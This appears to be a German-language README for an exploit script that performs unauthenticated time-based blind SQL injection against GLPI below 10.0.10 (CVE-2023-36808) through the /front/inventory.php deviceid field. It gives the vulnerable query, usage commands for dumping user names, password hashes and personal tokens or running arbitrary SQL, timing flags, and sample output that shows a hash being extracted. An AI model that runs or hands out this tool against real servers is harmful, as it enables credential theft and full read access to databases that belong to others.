
Zeitbasierter Blind-SQL-Injection-Exploit für CVE-2023-36808 in GLPI < 10.0.10. Extrahiert Benutzeranmeldedaten und Datenbankinhalte über den nicht authentifizierten XML-Inventar-Endpunkt mit Binärsuche-Optimierung.
GLPI-Versionen < 10.0.10 legen einen nicht authentifizierten XML-Inventar-Endpunkt unter /front/inventory.php offen.
Das Feld <deviceid> wird ohne Bereinigung direkt in eine SQL-Abfrage eingefügt:
SELECT id FROM glpi_agents WHERE deviceid = '<INJECT>'
Es ist keine Authentifizierung erforderlich. Die Schwachstelle ermöglicht vollständigen Lesezugriff auf die Datenbank über blinde SQL-Injection.
Dieses Skript verwendet zeitbasierte blinde Injection mit binärer Suche, um Daten deutlich schneller zu extrahieren als generische Werkzeuge.
pip install -r requirements.txt
# Dump the full glpi_users table (name, password hash, personal_token)
python3 exploit.py http://<TARGET>/glpi
# Custom SQL query
python3 exploit.py http://<TARGET>/glpi --query "SELECT @@version"
# Tune timing (lower sleep = faster, increase if you get wrong results)
python3 exploit.py http://<TARGET>/glpi --sleep 0.3
# Increase parallel request cap (default 2, raise on high-latency remote targets)
python3 exploit.py http://<TARGET>/glpi --parallel 4
[*] CVE-2023-36808 - GLPI Unauthenticated SQLi
[*] Target : http://10.0.0.1/glpi/front/inventory.php
[*] Sleep : 0.5s Threshold: 0.35s Parallel: 2
[+] Target reachable
[+] Injection confirmed
[*] User 1/7
name glpi
password $2y$10$xN.12pQxSLlQdMJzP26EWe...
personal_token xxxx
...